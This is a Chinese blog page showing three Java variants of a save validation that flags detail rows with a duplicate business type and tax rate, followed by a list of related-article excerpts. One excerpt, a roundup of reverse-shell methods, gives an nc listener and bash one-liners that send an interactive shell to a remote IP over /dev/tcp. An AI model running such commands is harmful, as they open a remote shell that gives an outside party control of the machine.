保存校验,根据表体String和UFDouble的两个字段,判断哪些记录重复

方法一 :保存校验,根据业务类型和税率判断哪些记录重复(不推荐)

import org.apache.commons.collections.CollectionUtils;private void ywlxAndSlCheck(List<JsdtbBVO> bvolist) throws BusinessException {bvolist = translateBodyVO(bvolist);JsdtbBVO[] bvos = bvolist.toArray(new JsdtbBVO[0]);if(bvos != null && bvos.length > 0){Map<String, List<UFDouble>> map = new HashMap<String, List<UFDouble>>();//往map中存值,往list中存值for(int i = 0; i < bvos.length; i++){String ywlx = NullValueUtils.getNullStringValue(bvos[i].getYwlx());UFDouble taxrate = NullValueUtils.getNullUFdoubleValue((bvos[i].getTaxrate()));if(map.containsKey(ywlx)){List<UFDouble> list = map.get(ywlx);list.add(taxrate);map.put(ywlx, list);}else{List<UFDouble> list = new ArrayList<>();list.add(taxrate);map.put(ywlx, list);}}StringBuilder sb = new StringBuilder();for(String ywlx : map.keySet()){if(map.containsKey(ywlx)){List<UFDouble> list = map.get(ywlx);//list去重Set<UFDouble> set = new HashSet<>(list);//获取重复元素集合Collection<UFDouble> rs = CollectionUtils.disjunction(list, set);//newList为重复元素集合List<UFDouble> newList = new ArrayList<>(rs);  if(newList!=null && newList.size()>0){sb.append("业务类型为:");sb.append(ywlx);sb.append(",税率为:");for (UFDouble str : newList) {sb.append(str).append(",");}sb.delete(sb.length() - 1, sb.length());sb.append(";");}}}if(sb!=null&&sb.length()>0){throw new BusinessException(sb+ "表体重复,请检查!");}}}private List<JsdtbBVO> translateBodyVO(List<JsdtbBVO> bvolist) {SuperVOUtil.execFormulaWithVOs((SuperVO[]) bvolist.toArray(new JsdtbBVO[0]),new String[] {//业务类型"ywlx->getcolvalue2(bd_defdoc,name,pk_defdoclist,getcolvalue(bd_defdoclist,pk_defdoclist,code,\"ZK_0001\"),pk_defdoc,ywlx)"});return bvolist;}

方法二 :保存校验,根据业务类型和税率判断哪些记录重复(推荐)

	//表体业务类型+税率不重复private void ywlxAndSlCheck(List<JsdtbBVO> bvolist) throws BusinessException {bvolist = translateBodyVO(bvolist);JsdtbBVO[] bvos = bvolist.toArray(new JsdtbBVO[0]);if(bvos != null && bvos.length > 0){List<String> ywlxList = new ArrayList<String>();List<UFDouble> taxrateList = new ArrayList<UFDouble>();StringBuilder sb = new StringBuilder();//往map中存值,往list中存值for(int i = 0; i < bvos.length; i++){String ywlx = NullValueUtils.getNullStringValue(bvos[i].getYwlx());UFDouble taxrate = NullValueUtils.getNullUFdoubleValue((bvos[i].getTaxrate()));String rowno = NullValueUtils.getNullStringValue(bvos[i].getRowno().substring(0, bvos[i].getRowno().length()-1));String classify = NullValueUtils.getNullStringValue(bvos[i].getClassify());if(ywlxList.contains(ywlx) && taxrateList.contains(taxrate)){sb.append("行号为:").append(rowno);sb.append(",业务类型为:").append(ywlx);sb.append(",分类为:").append(classify);sb.append(",税率为:").append(taxrate);sb.append(";");}ywlxList.add(ywlx);taxrateList.add(taxrate);}if(sb != null && sb.length() > 0){throw new BusinessException(sb+ "表体重复,请检查!");}}}private List<JsdtbBVO> translateBodyVO(List<JsdtbBVO> bvolist) {SuperVOUtil.execFormulaWithVOs((SuperVO[]) bvolist.toArray(new JsdtbBVO[0]),new String[] {//业务类型"ywlx->getcolvalue2(bd_defdoc,name,pk_defdoclist,getcolvalue(bd_defdoclist,pk_defdoclist,code,\"ZK_0001\"),pk_defdoc,ywlx)"});return bvolist;}

方法三 :保存校验,根据业务类型和税率判断哪些记录重复(极力推荐)

	//表体业务类型+税率不重复private void ywlxAndSlCheck(List<JsdtbBVO> bvolist) throws BusinessException {bvolist = translateBodyVO(bvolist);JsdtbBVO[] bvos = bvolist.toArray(new JsdtbBVO[0]);if(bvos != null && bvos.length > 0){Map<String, Map<String,List<String>> >map = new HashMap<String, Map<String,List<String>>>();for(int i = 0; i < bvos.length; i++){if(bvos[i].getYwlx() != null && !bvos[i].getYwlx().equals("")&&bvos[i].getTaxrate() != null){String rowno = NullValueUtils.getNullStringValue(i+1);String ywlx = NullValueUtils.getNullStringValue(bvos[i].getYwlx());String classify = NullValueUtils.getNullStringValue(bvos[i].getClassify());UFDouble taxrate = NullValueUtils.getNullUFdoubleValue(bvos[i].getTaxrate()).setScale(2, UFDouble.ROUND_HALF_UP);if(map.containsKey(ywlx+"@"+taxrate)){Map<String, List<String>> classifymap = map.get(ywlx+"@"+taxrate);List<String> list = classifymap.get(classify);list.add(rowno);classifymap.put(classify, list);map.put(ywlx+"@"+taxrate, classifymap);}else{Map<String, List<String>> classifymap = new HashMap<String,List<String>>();List<String> list = new ArrayList<>();list.add(rowno);classifymap.put(classify, list);map.put(ywlx+"@"+taxrate, classifymap);}}}StringBuilder sb = new StringBuilder();for (String ywlxTaxrate : map.keySet()) {Map<String, List<String>> classifymap = map.get(ywlxTaxrate);for(String classify : classifymap.keySet()){List<String> list = classifymap.get(classify);if(list != null && list.size() > 1){Collections.sort(list);//对list进行升序排序for (String str : list) {sb.append("第").append(str).append("行").append("和");}sb.delete(sb.length() - 1, sb.length());sb.append("的分类:").append(classify);int index = ywlxTaxrate.indexOf("@");sb.append(",业务类型:").append(ywlxTaxrate.substring(0,index));sb.append(",税率:").append(ywlxTaxrate.substring(index+1,ywlxTaxrate.length()));sb.append("重复;");}}}if(sb != null && sb.length() > 0){sb.delete(sb.length() - 3, sb.length());throw new BusinessException(sb+"重复,不允许保存,请检查!");}}}private List<JsdtbBVO> translateBodyVO(List<JsdtbBVO> bvolist) {SuperVOUtil.execFormulaWithVOs((SuperVO[]) bvolist.toArray(new JsdtbBVO[0]),new String[] {//业务类型"ywlx->getcolvalue2(bd_defdoc,name,pk_defdoclist,getcolvalue(bd_defdoclist,pk_defdoclist,code,\"ZK_0001\"),pk_defdoc,ywlx)"});return bvolist;}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/613854.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Java万花筒】日志与性能监控:Java日志领域的掌中宝剑

“日志与性能监控&#xff1a;Java开发者的得力助手 前言 在现代软件开发中&#xff0c;日志记录和性能监控是确保应用程序健康运行的不可或缺的组成部分。为了满足开发者对灵活性和性能的需求&#xff0c;Java 社区涌现出多个强大的库&#xff0c;本文将深入探讨其中几个关键…

pytorch11:模型加载与保存、finetune迁移训练

目录 一、模型加载与保存1.1 序列化与反序列化概念1.2 pytorch中的序列化与反序列化1.3 模型保存的两种方法1.4 模型加载两种方法 二、断点训练2.1 断点保存代码2.2 断点恢复代码 三、finetune3.1 迁移学习3.2 模型的迁移学习3.2 模型微调步骤3.2.1 模型微调步骤3.2.2 模型微调…

Asp .Net Core 系列: 集成 CORS跨域配置

文章目录 什么是CORS?Asp .Net Core 种如何配置CORS?CorsPolicyBuilder类详解注册以及使用策略三种方式EnableCors 和 DisableCors 特性关于带证书与不带证书代码的实现跨源&#xff08;cross-origin&#xff09;不带请求证书(Credentials)跨源&#xff08;cross-origin&…

c++析构函数

析构函数的简述 1. 析构函数和构造函数类似&#xff0c;是c规定当对象的生命周期结束时&#xff0c;默认你会调用析构函数。 2. 同理&#xff0c;当我们不写析构函数的时候&#xff0c;编译器会自动生成一个空实现的析构函数。 3. 析构函数只能编译器自己调用&#xff0c;我们…

CSS 选择器全攻略:从入门到精通(上)

&#x1f90d; 前端开发工程师&#xff08;主业&#xff09;、技术博主&#xff08;副业&#xff09;、已过CET6 &#x1f368; 阿珊和她的猫_CSDN个人主页 &#x1f560; 牛客高级专题作者、在牛客打造高质量专栏《前端面试必备》 &#x1f35a; 蓝桥云课签约作者、已在蓝桥云…

在Maven中设置JVM系统参数及Java应用调试实例

在Maven中设置JVM系统参数及Java应用调试实例 在进行Java应用程序开发时&#xff0c;我们通常需要配置Maven构建过程中Java虚拟机&#xff08;JVM&#xff09;的额外系统参数&#xff0c;以便进行性能优化、日志配置或远程调试等操作。本文将详细介绍如何在Maven中设置JVM系统…

JavaScript从入门到精通系列第三十一篇:详解JavaScript中的字符串和正则表达式相关的方法

文章目录 知识回顾 1&#xff1a;概念回顾 2&#xff1a;正则表达式字面量 一&#xff1a;字符串中正则表达式方法 1&#xff1a;split 2&#xff1a;search 3&#xff1a;match 4&#xff1a;replace 知识回顾 1&#xff1a;概念回顾 正则表达式用于定义一些字符串的…

MySql command line client命令解析

一、启动与退出 1、进入MySQL&#xff1a;启动MySQL Command Line Client&#xff08;MySQL的DOS界面&#xff09;&#xff0c;直接输入安装时的密码即可。此时的提示符是&#xff1a;mysql> 2、退出MySQL&#xff1a;quit 或 exit 二、库操作 1、创建数据库 命令&#xff1…

代码随想录算法训练营第二天|977 有序数组的平方、209长度最小的子数组、59 螺旋矩阵||

977 有序数组的平方 题目链接&#xff1a;有序数组的平方 思路 暴力解法 很容易想到的就是按照题目的说明&#xff0c;先给非递减数组中的每个元素做平方&#xff0c;然后使用一个排序函数对齐进行排序即可。 class Solution { public:vector<int> sortedSquares(ve…

反弹shell方法汇总

假设本机地址10.10.10.11&#xff0c;监听端口443。 1、Bash环境下反弹TCP协议shell 首先在本地监听TCP协议443端口 nc -lvp 443 然后在靶机上执行如下命令&#xff1a; bash -i >& /dev/tcp/192.168.245.129/1234 0>&1 /bin/bash -i > /dev/tcp/154.21…

STL之pair

目录 pair的定义和结构 示例 pair的嵌套 示例 pair自带排序规则 示例 代码示例 pair的定义和结构 在c中&#xff0c;pair是一个模板类&#xff0c;用于表示一对值的组合。它位于<utility>头文件中。pair类的定义如下&#xff1a; template<class T1,class T2…

IntelliJ IDEA Java 连接 mysql 配置(附完整 demo)

下载 MySQL 驱动 从MySQL官网下载JDBC驱动的步骤如下&#xff1a; 1&#xff09;访问MySQL的官方网站&#xff1a;MySQL 2&#xff09;点击页面上方的"DOWNLOADS"菜单&#xff1b; 3&#xff09;在下载页面&#xff0c;找到"MySQL Community (GPL) Downloads…

QObject_thread

QObject::thread QThread *QObject::thread() 返回对象所在的线程。 QThread *QObject::thread() const {return d_func()->threadData.loadRelaxed()->thread.loadAcquire(); }void QObject::moveToThread(QThread *targetThread) 将此对象及其孩子关联到targetThre…

C++内存管理机制(侯捷)笔记2

C内存管理机制&#xff08;侯捷&#xff09; 本文是学习笔记&#xff0c;仅供个人学习使用。如有侵权&#xff0c;请联系删除。 参考链接 Youtube: 侯捷-C内存管理机制 Github课程视频、PPT和源代码: https://github.com/ZachL1/Bilibili-plus 下面是第二讲allocator具体实…

11 双向链表

单链表的局限&#xff1a; 单链表的缺点&#xff1a;逆序访问单链表中的元素耗时大。&#xff08;时间复杂度&#xff1a;O&#xff09; 双向链表的定义 第0个节点【a1】的pre指针为NULL&#xff0c;要注意 插入操作&#xff1a; 删除操作&#xff1a; 初步实现双链表 代码&…

【Vue系列】Vue3快速构建项目,以及在已有代码情况首次打开如何初始化依赖项

欢迎来到《小5讲堂》 大家好&#xff0c;我是全栈小5。 这是是《前端》序列文章&#xff0c;每篇文章将以博主理解的角度展开讲解&#xff0c; 特别是针对知识点的概念进行叙说&#xff0c;大部分文章将会对这些概念进行实际例子验证&#xff0c;以此达到加深对知识点的理解和掌…

一天一个设计模式---适配器模式

概念 适配器模式是一种结构型设计模式&#xff0c;用于将一个类的接口转换成客户端所期望的另一个接口。它允许不兼容的接口之间进行协同工作&#xff0c;使得原本由于接口不匹配而无法合作的类能够一起工作。 具体内容 适配器模式主要包括以下几个要素&#xff1a; 目标接…

C 语言结构体和枚举完全指南:成员访问、字符串操作、枚举基础

访问结构体成员 要访问结构体的成员&#xff0c;请使用点语法 (.): // 创建名为 myStructure 的结构体 struct MyStructure {int myNum;char myLetter; };int main() {// 创建名为 s1 的 myStructure 的结构体变量struct MyStructure s1;// 为 s1 的成员分配值s1.myNum 13;s…

Miniconda Python解释器 Conda 包管理器 Pytorch

Miniconda Miniconda 是一个轻量级的 Anaconda 版本&#xff0c;它是一个用于管理 Python 环境和包的开源工具。Anaconda 是一个数据科学和机器学习的开发环境&#xff0c;它包含了许多常用的 Python 包和工具。 与 Anaconda 相比&#xff0c;Miniconda 的安装包更小&#xf…

VBA中类的解读及应用第八讲:实现定时器功能的自定义类事件

《VBA中类的解读及应用》教程【10165646】是我推出的第五套教程&#xff0c;目前已经是第一版修订了。这套教程定位于最高级&#xff0c;是学完初级&#xff0c;中级后的教程。 类&#xff0c;是非常抽象的&#xff0c;更具研究的价值。随着我们学习、应用VBA的深入&#xff0…